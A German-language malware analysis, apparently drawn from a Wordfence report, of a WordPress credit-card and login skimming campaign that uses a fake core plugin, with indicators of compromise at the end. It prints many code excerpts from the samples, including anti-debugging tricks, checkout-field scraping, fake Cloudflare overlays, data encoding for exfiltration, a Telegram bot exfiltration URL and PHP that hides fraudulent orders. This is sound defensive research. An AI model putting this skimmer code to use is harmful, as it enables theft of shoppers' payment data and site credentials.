
Sicherheitsforscher haben eine neue, ausgeklügelte Malware-Kampagne aufgedeckt, die gezielt WordPress-Websites ins Visier nimmt. Die Schadsoftware stiehlt unter anderem Kreditkartendaten und Login-Informationen – und setzt dabei auf besonders raffinierte Tarnmechanismen.
Wie das Sicherheitsteam von Wordfence am 16. Mai 2025 mitteilte, wurde die Malware bei der Bereinigung einer kompromittierten Website entdeckt. Die Kampagne ist demnach bereits seit 2023 aktiv und nutzt ein gefälschtes WordPress-Core-Plugin, das sich tief in die Systeme der Opfer einschleust.
Besonders perfide: Eine Variante der Malware betreibt ein Live-Backend direkt auf den infizierten Websites, das den Angreifern als Kontrollzentrum dient. Dieses Backend ist in ein scheinbar legitimes Plugin eingebettet und imitiert Dienste wie Cloudflare – eine bislang unbekannte Methode, um unentdeckt zu bleiben.
Die Schadsoftware basiert auf einer gemeinsamen Codebasis, zeigt aber unterschiedliche Schwerpunkte: Während einige Versionen sich auf das Ausspähen von Zahlungsdaten konzentrieren, haben andere WordPress-Zugangsdaten oder sogar vollständige Benutzerprofile im Visier.
Die Entdeckung unterstreicht, wie professionell organisierte Cyberkriminelle inzwischen vorgehen – und wie wichtig es ist, WordPress-Installationen und Plugins regelmäßig zu prüfen und aktuell zu halten.
Weitere Untersuchungen haben in unserer Threat Intelligence-Plattform Hinweise auf diese Kampagne gefunden, die bis September 2023 zurückreichen und auf eine langwierige Operation gegen mehrere Unternehmen hindeuten. Die Analyse der wachsenden Codebasis der Malware mit mehr als 20 Samples lieferte einzigartige Einblicke in die Entwicklung dieses Frameworks.
Malware-Analyse: Gemeinsame Merkmale
Alle analysierten Malware-Samples verwenden identische Verschleierungstechniken und enthalten häufig Maßnahmen zur Umgehung der Analyse, um einer Erkennung zu entgehen. Zu den häufigsten Anti-Analyse-Funktionen gehören die Erkennung von Entwicklertools und die Neuzuweisung der Konsole. Weitere gemeinsame Merkmale finden sich in den meisten Samples, was auf eine kontinuierliche Weiterentwicklung im Laufe der Jahre hindeutet.
Erkennung von Entwicklertools und Umgehung der Analyse
Um einer Analyse zu entgehen, verwendet Malware häufig eine Technik, mit der erkannt wird, ob die Entwicklertools eines Browsers (wie Firefox Developer Tools oder Chrome DevTools) aktiv sind: Wenn dies erkannt wird, ändert die Malware – sofern sie ordnungsgemäß implementiert ist – häufig ihr Verhalten, um eine Erkennung in der Konsole zu vermeiden. Die gemeinsame Methode für diese Erkennung ist wie folgt:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
( function () { var _0x2cef57 = { open: false , orientation: null }; var _0x1bfac6 = function (_0x2206b1, _0x46930e) { var _0x2372aa = { open: _0x2206b1, orientation: _0x46930e }; var _0x1797e7 = { detail: _0x2372aa }; window.dispatchEvent( new CustomEvent( "devtoolschange" , _0x1797e7)); }; setInterval( function () { var _0xff65e4 = window.outerWidth - window.innerWidth > 160; var _0x24fb7b = window.outerHeight - window.innerHeight > 160; var _0x32180e = _0xff65e4 ? "vertical" : "horizontal" ; if ( !(_0x24fb7b && _0xff65e4) && (window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || _0xff65e4 || _0x24fb7b) ) { if ( true || null !== _0x32180e) { _0x1bfac6( true , _0x32180e); } _0x2cef57.open = true ; _0x2cef57.orientation = _0x32180e; } else { _0x2cef57.open = false ; _0x2cef57.orientation = null ; } }, 500); })(); |
Der obige Code überprüft kontinuierlich die Differenz zwischen window.outerWidth / outerHeight und window.innerWidth / innerHeight und sendet ein benutzerdefiniertes devtoolschange-Ereignis mit den Details. Eine signifikante Differenz kann darauf hinweisen, dass die Entwicklertools geöffnet sind. In den meisten Beispielen ist die Logik zur Datenerfassung und -exfiltration so konzipiert, dass vor dem Fortfahren der Status der Entwicklertools überprüft wird.
Weitere Untersuchungen deckten in bestimmten Beispielen noch ausgefeiltere Techniken zur Analyseabwehr auf, wie z. B. Endlosschleifen und Debugger-Fallen:
1
2
3
4
5
6
7
|
if ( typeof _0x2f1bc9 === "string" ) { return function (_0x21327c) {}.constructor( "while (true) {}" ).apply( "counter" ); } [...] ( function () { return true ; }).constructor( "debugger" ).call( "action" ); |
Der obige Code dient dazu, die Analyse effektiv zu blockieren, indem entweder eine Funktion erstellt und ausgeführt wird, die eine unendliche while(true)-Schleife enthält, die einen Browser-Tab oder die Entwicklertools einfrieren oder zum Absturz bringen soll, oder indem programmgesteuert Debugger-Anweisungen eingefügt werden, die die Ausführung anhalten, wenn Entwicklertools geöffnet sind.
Einige Malware-Beispiele enthielten auch Funktionen, um die Verwendung typischer Browser-Debugging-Shortcuts zu verhindern. Der folgende Code deaktiviert beispielsweise die Kontextmenüs der rechten Maustaste, die Taste F12 (die üblicherweise zum Aufrufen der Browser-Debugging-Tools verwendet wird), Strg + Umschalt + I / J (Methoden zum Öffnen der Entwicklertools oder der Browserkonsole) und Strg + U (zum Anzeigen des Seitenquellcodes):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
function y5() { if (!document) { return false ; } document.oncontextmenu = () => { return false ; }; document.onkeydown = function (L) { if (event.keyCode == 123) { return false ; } if (L.ctrlKey && L.shiftKey && L.keyCode == 73) { return false ; } if (L.ctrlKey && L.shiftKey && L.keyCode == 74) { return false ; } if (L.ctrlKey && L.keyCode == 85) { true ; return false ; } }; } |
Konsolen-Neubindung
Spätere Versionen dieser Malware enthalten einen ausgeklügelten Mechanismus zur dynamischen Neubindung von Konsolenmethoden innerhalb der Browserumgebung: Diese fortschrittliche Anti-Analyse-Technik wurde speziell entwickelt, um Reverse-Engineering-Versuche zu behindern und Debugging-Prozesse zu verlangsamen.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
var _0x4010b0 = _0x28c945( this , function () { var _0x44f901 = function () { var _0x57826f; try { _0x57826f = Function( "return (function() {}.constructor(\"return this\")( ));" )(); } catch (_0x1cfe50) { _0x57826f = window; } return _0x57826f; }; var _0x1146fe = _0x44f901(); var _0x40aa83 = _0x1146fe.console = _0x1146fe.console || {}; var _0x393b06 = [ "log" , "warn" , "info" , "error" , "exception" , "table" , "trace" ]; for ( var _0x502973 = 0; _0x502973 < _0x393b06.length; _0x502973++) { var _0x3da987 = _0x28c945.constructor.prototype.bind(_0x28c945); var _0x45176f = _0x393b06[_0x502973]; var _0x5ce9e8 = _0x40aa83[_0x45176f] || _0x3da987; _0x3da987.__proto__ = _0x28c945.bind(_0x28c945); _0x3da987.toString = _0x5ce9e8.toString.bind(_0x5ce9e8); _0x40aa83[_0x45176f] = _0x3da987; } }); _0x4010b0(); |
Gezielte Ausführung
Alle von uns analysierten Malware-Varianten enthalten Überprüfungen, um ihre Aktivitäten auf bestimmte Bereiche der Website zu beschränken. Beispielsweise vermeiden sie die Ausführung im WordPress-Admin-Panel, um eine Erkennung zu verhindern, oder stellen sicher, dass sie nur auf Checkout-Seiten ausgeführt werden. Einige Varianten verwenden Cookies, um Website-Administratoren und Benutzer, deren Daten bereits gestohlen wurden, zu erkennen und zu umgehen:
1
2
3
4
5
6
7
8
9
10
11
12
|
if (jQuery( "#wpadminbar" ).length) { document.cookie = "wp-admin=true; expires=Thu, 18 Dec 2037 12:00:00 UTC" ; return ; } [...] if (document.cookie.indexOf( "wp-admin" )!== -1) { return ; } if (window.location.toString().indexOf( "checkout" ) === -1) { return ; } |
Aktuelle Varianten dieser Malware enthalten auch eine Liste unzulässiger E-Mail-Adressen und Domainnamen, die später mit den Rechnungsdaten abgeglichen werden, wahrscheinlich um bestimmte Konten nicht anzugreifen und um einer Erkennung zu entgehen:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
var _0x4f4b15 = [ "[redacted].com" , "[redacted]@[redacted]" ]; function _0x19df15(_0x354c43, _0x1a2e6e) { for ( var _0x27eb60 = 0; _0x27eb60 < _0x1a2e6e.length; _0x27eb60++) { if (_0x354c43.indexOf(_0x1a2e6e[_0x27eb60])!== -1) { return true ; } } return false ; } [...] jQuery(document).ready( function () { if (_0x19df15(jQuery( "#billing_email" ).val(), _0x4f4b15)) { return ; } |
Formularmanipulation
Die meisten Malware-Varianten verwenden Techniken wie Formularmanipulation, Injektion, Overlays oder Hijacking, um Zahlungs- und Rechnungsdaten zu stehlen. Diese Methoden variieren je nach Website und integrierten Zahlungsgateways; manchmal werden mehrere Ansätze kombiniert. Die vorherrschende Technik bestand darin, Zahlungs- und Rechnungsdaten direkt aus HTML-Formularen abzufangen.
1
2
3
|
var _0x157048 = jQuery( "#Field-numberInput" )[0].value.replace(/\s/g, '' ); var _0xaf67b6 = jQuery( "#expiration-date-over" )[0].value.replace(/\s/g, '' ); var _0x4bda31 = jQuery( "#security-code-over" )[0].value; |
Eine weitere gängige Implementierung besteht in einer Base64-kodierten Zeichenfolge, die den HTML-Code enthält, um ein gefälschtes Zahlungsformular darzustellen, das dann an das legitime WooCommerce-Zahlungsfeld angehängt wird:
1
2
|
jQuery( ".payment_box.payment_method_hitpay" ) .append(atob("PGRpdiBpZD0iZm9ybS1vdmVyIiBzdHlsZT0iZm9udC1mYW1pbHk6dmFyKC0tZm9ud[...] |
In einigen Fällen haben wir eine Form-Overlay-Technik beobachtet, die derjenigen ähnelt, die in einer kürzlich analysierten ausgeklügelten und heimlichen Formjacking-Malware gefunden wurde, obwohl sich diese Malware-Familie in mehreren Punkten unterscheidet – insbesondere durch einen anderen Ansatz in Bezug auf Persistenz und Widerstandsfähigkeit –, während sie weiterhin legitime Webtechnologien für Zwecke missbraucht, die die Sicherheit und Privatsphäre direkt untergraben, wenn auch auf andere Weise.
Beispielsweise nutzt die Malware localStorage, um Konfigurationsdaten im Browser des Opfers zu speichern. Diese Technik ermöglicht es der Malware, auch ohne direkte Manipulation von Cookies über mehrere Browsersitzungen hinweg persistent zu bleiben und ihre Präsenz aufrechtzuerhalten.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
if (!window._2YJMFP6HTkyCsYsn) { var _0x9fc37f = { unique: false , ttl: 0x15180, }; window._2YJMFP6HTkyCsYsn = _0x9fc37f; } const _0x36d585 = localStorage.getItem( "config" ); if ( typeof _0x36d585 !== "undefined" && _0x36d585 !== null ) { var _0x164663 = JSON.parse(_0x36d585); var _0x51bd9a = Math.round(+ new Date() / 1000); if (_0x164663.created_at + window._2YJMFP6HTkyCsYsn.ttl < _0x51bd9a) { localStorage.removeItem( "subId" ); localStorage.removeItem( "token" ); localStorage.removeItem( "config" ); } } |
Andere Varianten entschieden sich für eine direkte Manipulation des generierten HTML-Codes, in einigen Fällen sogar mit einer Pseudovalidierung, um visuelles Feedback zu geben und das manipulierte Formular als legitim erscheinen zu lassen:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
jQuery( "#Field-numberInput" ).keyup( function () { if (!_0x1daf8a(_0x1b85d6.value) && _0x1b85d6.value.length > 18) { _0x1b85d6.style.setProperty( "color" , "red" , "important" ); } else { _0x1b85d6.style.removeProperty( "color" ); } if (jQuery( this ).val().length === 0 || jQuery( this ).val().length < 17) { jQuery( this ).parent().addClass( "error" ); jQuery( this ).parent().removeClass( "blur" ); } else { jQuery( this ).parent().removeClass( "error" ); jQuery( this ).parent().removeClass( "blur" ); } }); var _0x15cde6 = { mask: "0000 000000 00000" , regex: "^3[47]\\d{0,13}" , cardtype: "american express" }; var _0x5a62b2 = { mask: "0000 0000 0000 0000" , regex: "^(5[1-5]\\d{0,2}|22[2-9]\\d{0,1}|2[3-7]\\d{0,2})\\d{0,12}" , cardtype: "mastercard" }; var _0x47eaf4 = { mask: "0000 0000 0000 0000" , regex: "^4\\d{0,15}" , cardtype: "visa" }; [...] |
Eine der untersuchten Proben enthielt auch eine überraschend vollständige gefälschte menschliche Verifizierungsabfrage, die dynamisch als Vollbildschirm und mehrsprachiger Bildschirm eingefügt wurde und sowohl als Mittel zur Täuschung der Benutzer als auch als Anti-Bot-Filter dienen sollte.
Dazu gehören unglaublich fortschrittliche Funktionen für Malware, wie Text in mehreren Sprachen, CSS-Unterstützung für RTL-Sprachen und Dunkelmodus, interaktive Elemente wie Animationen und sich drehende SVGs sowie eine eindeutige Cloudflare-Markenimitation, die eine bisher selten gesehene Komplexität offenbart.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
var UG = { [...] M: "Verifying..." , s: "Privacy" , b: "Terms" , P: "Ray ID: " , z: "Cloudflare" , F: "Perfomance & security by " , [...] var UV = { rotate: true , [...] M: "در حال تأیید..." , s: "حریم خصوصی" , b: "شرایط" , P: "Ray ID: " , z: "Cloudflare" , F: "عملکرد و امنیت ارائهشده از " , [...] function ym(0x8a34d1) { [...] var 0x8a34d1 = document.createElement( "div" ); 0x8a34d1.innerHTML = "<svg fill=\"none\" viewBox=\"0 0 30 30\" xmlns=\"http://www.w3.org/2000/svg\">" + "<line class=\"{svg}\" x1=\"15\" x2=\"15\" y1=\"1.5\" y2=\"5.5\"/>" + [...] + "</svg>" ; [...] } function yI() { [...] var 0xa43f12 = document.createElement( "span" ); 0xa43f12.innerHTML = y0(Uh.P) + "<code>" + y1(16, "abcdefghijklmnopqrstuvwxyz1234567890" ) + "</code>" ; [...] var 0x73d24b = document.createElement( "span" ); 0x73d24b.innerHTML = y0(Uh.F) + '<a rel="noopener noreferrer" href="//www.cloudflare.com" target="_blank">' + y0(Uh.z) + '</a>' ; [...] } |
Datenexfiltration
Fast alle Malware-Varianten verwenden dieselbe Methode, um Rechnungs- und Zahlungsdaten mithilfe einer benutzerdefinierten Verschlüsselung zu exfiltrieren. Nach der Erfassung werden alle Daten zu einer einzigen Zeichenfolge verkettet, dann Base64-verschlüsselt und anschließend über ein benutzerdefiniertes Schema weiter verschlüsselt, wobei abwechselnd ein Prozentzeichen eingefügt wird:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
var _0x18a6ff = _0x157048 + "|" + _0xaf67b6 + "|" + _0x4bda31 + "|" + jQuery( "#billing_first_name" ).val() + "|" + jQuery( "#billing_last_name" ).val() + "|" + jQuery( "#billing_address_1" ).val() + " " + jQuery( "#billing_address_2" ).val() + "|" + jQuery( "#billing_city" ).val() + "|" + jQuery( "#billing_postcode" ).val() + "|" + jQuery( "#billing_state" ).val() + "|" + jQuery( "#billing_phone" ).val() + "|" + jQuery( "#billing_email" ).val() + "|" + jQuery( "#billing_country" ).val(); _0x18a6ff = btoa(_0x18a6ff); var _0x5af08f = '' ; for ( var _0x469686 = 0; _0x469686 < _0x18a6ff.length; _0x469686++) { _0x5af08f += _0x18a6ff.charAt(_0x469686) + "%" ; } |
In den meisten Fällen werden die gestohlenen Daten verschlüsselt und als Abfrageparameter an eine gefälschte Bild-URL angehängt, die auf einem vom Angreifer kontrollierten Server gehostet wird, wodurch eine HTTP-GET-Anfrage ausgelöst wird, um die Daten zu exfiltrieren.
Darüber hinaus variierten der Server, der Pfad und die Abfrageparameter in den analysierten Proben, was die Erkennung erschwerte.
1
2
|
var _0x469686 = document.createElement( "IMG" ); |
In einem Fall haben wir außerdem eine bemerkenswerte Aktion nach dem Skimming festgestellt. Nach erfolgreicher Exfiltration versteckt das Skript das injizierte Formular und manipuliert einen Fehlermeldungscode erheblich, um einen gefälschten Zahlungsgateway-Fehler anzuzeigen. Dies ist eine äußerst betrügerische Social-Engineering-Taktik, die darauf abzielt, dem Endbenutzer die fehlgeschlagene Transaktion zu erklären und so den Verdacht auf Datendiebstahl zu verzögern.
1
2
3
4
5
6
|
if (_0x1970c7.length > 13 && _0x347afd.length > 3 && _0xef68f0.length > 2 && _0x360498.target.id == "place_order" ) { document.cookie = "work-done=true; expires=Thu, 18 Dec 2037 12:00:00 UTC" ; jQuery( "#form-over" ).hide(); jQuery( "#cc-error-msg" ).text( "The payment gateway is currently unavailable." ); jQuery( "#cc-error-msg" ).show(); } |
Nicht-Skimming-Varianten
Unsere Analyse umfasste eine detaillierte Untersuchung mehrerer Malware-Beispiele, die einige Unterschiede in ihrer zugrunde liegenden Logik und beabsichtigten Funktionalität aufzeigten, wobei jedoch die meisten gemeinsamen Merkmale erhalten blieben. Obwohl die meisten Beispiele Merkmale aufwiesen, die mit Kreditkarten-Skimming-Operationen übereinstimmen, deckte unsere Untersuchung drei unterschiedliche Varianten auf.
Diese Varianten scheinen speziell für eine Reihe verschiedener bösartiger Aktivitäten entwickelt worden zu sein, darunter die Manipulation von Google Ads zu betrügerischen Zwecken, der Diebstahl von WordPress-Anmeldedaten und die Verbreitung weiterer Malware-Payloads an die Endnutzer, wodurch diese Malware-Familie effektiv als Framework bezeichnet werden kann.
Die auf bösartige Werbung spezialisierte Malware-Variante behielt die meisten ihrer ursprünglichen Funktionen bei, ersetzte jedoch die Formjacking- und Datendiebstahlkomponenten. Stattdessen wurde sie so konzipiert, dass sie selektiv Anzeigen anzeigt, wenn ein Benutzer von einer bekannten Suchmaschine oder Social-Media-Plattform kommt und sich auf einem mobilen Gerät befindet.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
[...] return /Mobile|Android|iPhone|iPad/i.test(navigator.userAgent); } function _0x1ed3d2() { var _0x1e7d2e = document.createElement( "script" ); _0x1e7d2e.src = "https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-9514222065914327" ; _0x1e7d2e. async = true ; _0x1e7d2e.crossOrigin = "anonymous" ; document.head.insertBefore(_0x1e7d2e, document.head.lastChild); } var _0x6c58db = [ ".google." , "bing." , "facebook." , "yandex." , 'pinterest.' , '/t.co/' , "twitter." , 'linkedin.' , 'instagram.' , "yahoo.com" , "duckduckgo.com" , "ecosia.org" , 'tiktok.com' , ".ask.com" , 'naver.com' , "snapchat.com" ]; var _0x460b5a = _0x6c58db.some(_0x3e8e4a => document.referrer.toLowerCase().includes(_0x3e8e4a)); if (_0x460b5a && _0x3f6f61() && !_0x52dbb9()) { _0x1ed3d2(); } [...] |
Eine andere Version der Malware zielte auf WordPress-Anmeldedaten und andere Benutzerdaten ab. Sie verwendete dieselben Techniken zum Datendiebstahl und zur Exfiltration, die bereits in zuvor analysierten Proben beobachtet wurden.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
var g = function E() { if (window.location.toString().indexOf( "wp-login.php" ) === -1) { return ; } var l = jQuery( "#user_login" )[0].value.replace(/\s/g, '' ); var X = jQuery( "#user_pass" )[0].value.replace(/\s/g, '' ); var e = l + "|" + X + "|" + window.location.host + "|" + navigator.userAgent + "|" + screen.width + "x" + screen.height + "|" + navigator.language + "|" + Intl.DateTimeFormat().resolvedOptions().timeZone + "|" + new Date().toString(); e = btoa(e); var w = '' ; for ( var R = 0; R < e.length; R++) { w += e.charAt(R) + "%" ; } var R = document.createElement( "IMG" ); }; |
Dieses Malware-Framework wurde auch verwendet, um Links auf infizierten Websites dynamisch durch vom Angreifer kontrollierte Links zu ersetzen. Auf diese Weise konnte die Malware weiter verbreitet werden, indem bösartige Versionen der ursprünglich verlinkten Inhalte an die Nutzer verteilt wurden.
1
2
3
4
|
Benutzerverfolgung und Profilerstellung
Bestimmte Malware-Beispiele, die in erster Linie für bösartige Werbung entwickelt wurden, nutzten ausgefeilte Tracking- und Profilerstellungsmethoden. Diese Techniken sammelten Informationen über den Browser, das Betriebssystem und den Gerätetyp des Benutzers und kategorisierten diese anhand von Traffic-Quellen wie Suchmaschinen, sozialen Medien, E-Mail, mobilen Apps und Verweisen. Um die Effektivität zu steigern und zu vermeiden, dass Anzeigen an Suchmaschinen-Bots ausgeliefert werden, wurde ein Mechanismus implementiert, der automatisierte Tools identifiziert und herausfiltert, sodass Statistiken speziell von echten Benutzern gesammelt werden können.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
[ "getDeviceInfo" ]() { const _0xaaefad = navigator.userAgent; [...] return JSON.stringify({ browser: _0x443fd4, os: _0x35d1c5, device_type: _0x2decc9 }); } [...] [ "getTrafficCategory" ]() { const _0xd73241 = document.referrer; [...] return { category: _0xee5b6 != '' ? _0xee5b6 : "Direct" , source_network: _0x4d1538 }; } [...] const a0_0x4de89f = [ "Googlebot" , "Baiduspider" , "Bingbot" , "Slurp" , "DuckDuckBot" , "YandexBot" , "Sogou" , "Facebook" , "Twitter" , "LinkedIn" , "Pinterest" , "Instagram" , "TikTok" , "FeedFetcher" , "AhrefsBot" ]; [...] [ "isExcludedUserAgent" ]() { const _0x4a3b41 = navigator.userAgent.toLowerCase(); return a0_0x4de89f.some(_0x100b9d => _0x4a3b41.includes(_0x100b9d.toLowerCase())); } |
Wir haben außerdem eine verfeinerte Routine zur Zielaufklärung beobachtet, die auf die gezielte Bereitstellung von Nutzdaten abzielt und eine Weiterentwicklung eines zuvor beobachteten ähnlichen Codes darstellt. Alle Informationen werden verschlüsselt und als Parameter an die URL der Remote-Nutzdaten angehängt, sodass Angreifer detaillierte Kontextinformationen über das Ziel erhalten, wahrscheinlich um über eine dynamische Skript-Einbindung die am besten geeigneten Nutzdaten bereitzustellen:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
var _0x3e308c = "?return=js.client" ; _0x3e308c += '&' + decodeURIComponent(window.location.search.replace( '?' , '' )); _0x3e308c += "&se_referrer=" + encodeURIComponent(document.referrer); _0x3e308c += "&default_keyword=" + encodeURIComponent(document.title); _0x3e308c += "&landing_url=" + encodeURIComponent(document.location.hostname + document.location.pathname); _0x3e308c += "&name=" + encodeURIComponent( "_2YJMFP6HTkyCsYsn" ); _0x3e308c += "&host=" + encodeURIComponent(window._2YJMFP6HTkyCsYsn.R_PATH); [...] var _0x42b86d = document.createElement( "script" ); _0x42b86d.type = "application/javascript" ; _0x42b86d.src = window._2YJMFP6HTkyCsYsn.R_PATH + _0x3e308c; var _0x439e67 = document.getElementsByTagName( "script" )[0]; _0x439e67.parentNode.insertBefore(_0x42b86d, _0x439e67); |
Protokollierung und Telemetrie
Einige Malware-Beispiele nutzen einen direkten Telegram-Kanal, um sensible Daten aus kompromittierten Systemen sofort und heimlich in Echtzeit zu exfiltrieren. Dazu gehören persönliche Informationen wie System- und Browserdaten. Die Malware überwacht und überträgt außerdem Benutzeraktionen und identifiziert die kompromittierte Website oder die während des Angriffs aktive Website, sodass Angreifer den Kontext der Sicherheitsverletzung nachvollziehen und ihre Angriffe verfeinern können.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
var Ui = [ "win32" , "win64" , "windows" , "wince" ]; var UK = {}; function Ut(J) { if (!UK.D) { y7( "//api.ipify.org" , function (N) { if (N) { UK.D = N; Ut(J); } }); return ; } let L = "https://api.telegram.org/bot7468776395:[redacted]/sendMessage?chat_id=-4672047987&text={action}|ip={ip}|useragent={ua}|site={site}" ; L = L.replace( "{action}" , J); L = L.replace( "{ip}" , UK.D); L = L.replace( "{ua}" , Uz()); L = L.replace( "{site}" , document.location.host || "none" ); y7(L, function (R) {}); } |
Malware-Entwicklung: Ein betrügerisches WordPress-Plugin
Die Untersuchung dieser ausgeklügelten Malware-Funktionen war aufschlussreich, wobei die meisten Funktionen den Erwartungen entsprachen. Bestimmte Samples wiesen jedoch einzigartige Merkmale auf, die auf nachhaltige und besondere Entwicklungsbemühungen hindeuten.
Das erste Sample war mit einem betrügerischen gefälschten WordPress-Plugin gebündelt. Diese unkonventionelle Taktik, Skimming-Malware mit einem Plugin zu kombinieren, steht im Gegensatz zu typischen Strategien von Angreifern, die darauf abzielen, der Erkennung zu entgehen, und zog sofort die Aufmerksamkeit unserer Analysten auf sich.
Das Plugin präsentiert sich gut strukturiert und folgt gängigen Best Practices für die Entwicklung, wie beispielsweise getrennten Ordnern für administrativen und öffentlich zugänglichen Code. Im Gegensatz zu einer kürzlich analysierten Malware, die sich als legitimes WordPress-Plugin tarnt, würde eine schnelle Überprüfung jedoch zeigen, dass die meisten Dateien nur leere Gerüste sind. Das gefälschte Plugin stand eindeutig in keiner Verbindung zu WordPress oder WooCommerce, auch wenn dies eine recht gängige Taktik von Angreifern ist, um ihre Opfer zu täuschen.
Sowohl die Code-Funktionen als auch der Stil deuten darauf hin, dass die Plugin-Vorlage wahrscheinlich von einer KI generiert wurde (wir konnten einige Code-Funktionen anhand öffentlich verfügbarer Code-Schnipsel zurückverfolgen). Einige Merkmale fallen jedoch ins Auge, wie die falsche Schreibweise von „WordPress“ im Plugin-Namen oder die vage Plugin-Beschreibung:
Der eigentliche Kreditkarten-Skimmer befindet sich in wordpress-core-public.js. Er ist so konzipiert, dass er Daten direkt aus bestehenden, legitimen Formularfeldern auf der Seite ausliest, und er ist sehr selektiv hinsichtlich der Ausführung, da er nur die Checkout-Seite anvisiert und administrative Benutzer vermeidet, wie zuvor erläutert.
Zusätzlich zum Kreditkarten-Skimmer enthielt das Plugin PHP-Dateien, die es ihm ermöglichten, als serverseitiger Baustein zu fungieren, um diesen Angriff zu ergänzen und die kompromittierte Website effektiv in eine benutzerdefinierte Oberfläche umzuwandeln, die den Angreifern zur Verfügung stand.
Der Code in der Datei „register-messages-posttype.php“ erstellt einen benutzerdefinierten Beitragstyp „Messages“, der als Backend-Infrastruktur zum Sammeln und Verwalten der gestohlenen Daten dient und der Benutzerfreundlichkeit halber einen benutzerdefinierten Link zur Ansicht „Mein Konto“ bereitstellt, über den Benutzer aller Ebenen trotz fehlender Berechtigungen auf die Bestellungen im Shop zugreifen können:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
add_filter( 'woocommerce_account_menu_items' , 'insight____link_my_account' ); function insight____messages_content() { $customer_orders = get_posts( array ( 'numberposts' => -1, 'meta_key' => '_customer_user' , 'meta_value' => get_current_user_id(), 'post_type' => wc_get_order_types( 'view-orders' ), 'post_status' => array_keys ( wc_get_order_statuses() ), ) ); $orders_product_array = []; foreach ( $customer_orders as $customer_order ) { $order = wc_get_order( $customer_order ->ID ); foreach ( $order ->get_items() as $item_id => $item_values ) { $product_id = $item_values ->get_product_id(); $item_data = $item_values ->get_data(); $product_id = $item_data [ 'product_id' ]; if (!in_array( $product_id , $orders_product_array )) { $orders_product_array [] = $product_id ; } } } [...] foreach ( $messages_plural as $key => $value ) { ?> <table class = "woocommerce-orders-table woocommerce-MyAccount-orders shop_table shop_table_responsive my_account_orders account-orders-table" > <thead> <tr> <th class = "woocommerce-orders-table__header woocommerce-orders-table__header-order-number" ><span class = "nobr" >Order</span></th> <th class = "woocommerce-orders-table__header woocommerce-orders-table__header-order-date" ><span class = "nobr" > Date </span></th> <th class = "woocommerce-orders-table__header woocommerce-orders-table__header-order-actions" ><span class = "nobr" >Actions</span></th> </tr> </thead> [...] |
Darüber hinaus erweitert der in wordpress-core.php gefundene Schadcode den Skimming-Angriff auf das Backend der Website, um sicherzustellen, dass die betrügerischen Transaktionen so lange wie möglich unentdeckt und unbearbeitet bleiben. Dies wird erreicht, indem die verfügbaren Hooks woocommerce_thankyou und wp_footer mit Routinen genutzt werden, um die Datenbank regelmäßig nach laufenden Bestellungen zu durchsuchen und deren Status auf „wc-completed“ zu setzen, um so die Erkennung zu umgehen oder zumindest zu verzögern.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
function insight__change_order_status( $order_id ) { if ( ! $order_id ) { return ;} $order = wc_get_order( $order_id ); if ( 'processing' == $order ->get_status() && 'authorize_net_cim_credit_card' == $order ->get_payment_method()) { $order ->update_status( 'wc-completed' ); } } add_action( 'woocommerce_thankyou' , 'insight__change_order_status' ); function insight__get_order_status_woocommerce() { global $wpdb ; $status = 'wc-processing' ; $data = $wpdb ->get_results("SELECT ID FROM { $wpdb ->prefix}posts WHERE post_status LIKE '$status' AND `post_type` LIKE 'shop_order' "); foreach ( $data as $singledata ) { $order = new WC_Order( $singledata ); if ( $order ){ if ( 'processing' == $order ->get_status() && 'authorize_net_cim_credit_card' == $order ->get_payment_method()) { $order ->update_status( 'wc-completed' ); } } } } add_action( 'wp_footer' , 'insight__get_order_status_woocommerce' ); |
Dieses betrügerische WordPress-Plugin stellt eine erhebliche Eskalation für Kreditkarten-Skimmer dar. Während der JavaScript-Code für die Erfassung von Zahlungsdaten und Rechnungsinformationen verantwortlich ist, fungieren die PHP-Entsprechungen als Backend direkt auf der kompromittierten Website.
Indikatoren für Kompromittierung
Die analysierten Malware-Beispiele verwendeten eine erhebliche Verschleierung unter Verwendung eines weit verbreiteten Algorithmus, um einer Erkennung zu entgehen. Dieselbe Verschleierungstechnik wird auch häufig von kommerziellen Plugins und Themes zum Schutz ihres geistigen Eigentums verwendet.
Obwohl diese Vorgehensweise weit verbreitet ist, stellt sie Malware-Analysten vor die Herausforderung, zuverlässige Signaturen für bekannte Bedrohungen zu entwickeln. Dies kann gelegentlich zu Fehlalarmen bei legitimer Premium-Software führen und die Auflistung von Indikatoren für Kompromittierung erschweren.
- advertising-cdn\.com
- api-service-188910982\.website
- blastergallery\.com
- chaolingtech\.com
- contentsdeliverystat\.com
- deliveryrange\.pro
- emojiselect\.info
- graphiccloudcontent\.com
- imageresizefix\.com
- imagifytext\.com
- internetmemoryservice\.com
- staticdelivery\.net
- vectorimagefabric\.com
- vectorizegraphic\.com
- api.telegram\.org/bot7468776395[…]chat_id=-4672047987
- ca-pub-9514222065914327
Fazit
